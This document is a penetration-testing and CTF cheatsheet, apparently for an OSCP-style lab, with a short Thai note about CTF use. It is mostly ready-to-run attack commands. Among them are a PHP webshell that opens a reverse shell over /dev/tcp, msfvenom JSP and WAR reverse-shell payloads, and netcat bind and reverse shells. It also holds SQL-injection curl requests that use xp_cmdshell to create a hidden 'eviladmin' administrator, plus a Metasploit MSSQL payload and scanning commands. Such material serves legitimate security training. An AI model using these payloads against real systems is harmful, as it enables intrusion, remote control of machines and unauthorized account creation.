#SYSTEM Shell via MSSQL Payload (Require MSSQL's SA cred)
   msf> use exploit/windows/mssql/mssql_payload

#Webshell
   Kali: cd /usr/share/webshells/
   PHP Shell <?php echo passthru("bash -I >& /dev/tcp/10.11.0.169/8443 0>&1");?>
   JSP Shell msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.169 LPORT=443 -f raw > shell.jsp
   Tomcat msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

#HTTP Enumeration

//Search for folders with gobuster:
       gobuster -w /usr/share/seclists/Discovery/Web_Content/big.txt -u $ip -t 100

//Nikto
       nikto -h $ip

For unauthenticated
curl -d "id=1';exec+master..xp_cmdshell+'net+user+eviladmin+P@ssw0rd+/add'--" http://10.11.1.100/news.asp
curl -d "id=1';exec+master..xp_cmdshell+'net+localgroup+administrators+eviladmin+/add'--" http://10.11.1.100/news.asp

Preparation CTF-Cheatsheet


Preparation

#Find the location of a file
   locate sbd.exe

#Search through directories in the $PATH environment variable
   which sbd

#Find a search for a file that contains a specific string in it’s name:
   find / -name sbd\*

#Verify a service is running and listening
   netstat -antp |grep apache

#Unzip a gz file
   gunzip access.log.gz

#Unzip a tar.gz file
   tar -xzvf file.tar.gz

#Download a webpage
   wget http://www.cisco.com
//Decode Base64 Encoded Values
   echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

//Decode Hexidecimal Encoded Values
   echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

#Decoding using Kali
    //Decode Base64 Encoded Values
        echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

    //Decode Hexidecimal Encoded Values
        echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

#Escaping script
   //Escape Double quote (") inside Double quote by adding back slash (\)
       echo "Note:"humble's exploit rock""
       echo "Note:\"humble's exploit rock\""

   //Escape Single quote (') inside Single quote by adding '\'
       echo 'Note:"humble's exploit rock"'
       echo 'Note:"humble'\''s exploit rock"'

#Netcat - Read and write TCP and UDP Packets
    //Connect to a POP3 mail server
        nc -nv $ip 110

    //Listen on TCP/UDP port
        nc -nlvp 4444

    //Connect to a netcat port
        nc -nv $ip 4444

    //Transferring Files
       Victim: nc -nlvp 4444 > incoming.exe
       Attacker: nc -nv 10.11.23.29 4444 < /usr/share/windows-binaries/wget.exe

   //Bind Shell
       Victim: nc -nlvp 4444 -e cmd.exe
       Attacker: nc -nv 10.11.23.29 4444



   //Reverse Shell
       Attacker:  nc -nlvp 4444
       Victim(Wins):  nc -nv 10.11.0.169 4444 -e cmd.exe
       Victim(*nix):  nc -nv 10.11.0.169 4444 -e /bin/bash


Reconnaissance CTF-Cheatsheet


Reconnaissance

   สวัสดีครับ เนื่องจากผมได้มีการลองไปลงแข่ง ctf ซึ่งเห็นว่า ข้อมูล Cheatsheet นี้น่าสนใจและ น่าจะช่วยให้ง่ายต่อการใช้งาน ครับ


#Discover active IPs usign ARP on the network
   arp-scan $ip/24

#Discover who else is on the network
   netdiscover -i tap0
   netdiscover -r $ip/24

#Nmap
   //Ping scan
       nmap -v -sn $ip/24 -oG ping-sweep.txt
       grep Up ping-sweep.txt | cut -d " " -f 2

   //Top port scanning
       nmap -sT -A -PN --top-ports=100 10.11.1.1-254 -oG top-port-sweep.txt

   //Stealth scan using SYN
       nmap -sS -PN $ip

   //Enumeration Scan (TCP)
       nmap -v -A -T4 -p- -PN $ip

   //Enumeration Scan All Ports TCP / UDP and output to a txt file
       nmap -oN nmap.txt -v -sU -sS -p- -A -PN $ip

#Unicornscan
   //All TCP port scan
       unicornscan -i eth0 -Ir 200 10.11.1.49:1-65535

   //All UDP port scan
       unicornscan -i eth0 -mU -Ir 200 10.11.1.49:1-65535

Trick: Conduct Unicorn all port scan then use Nmap enumeration scan with specific port obtained from Unicorn scan result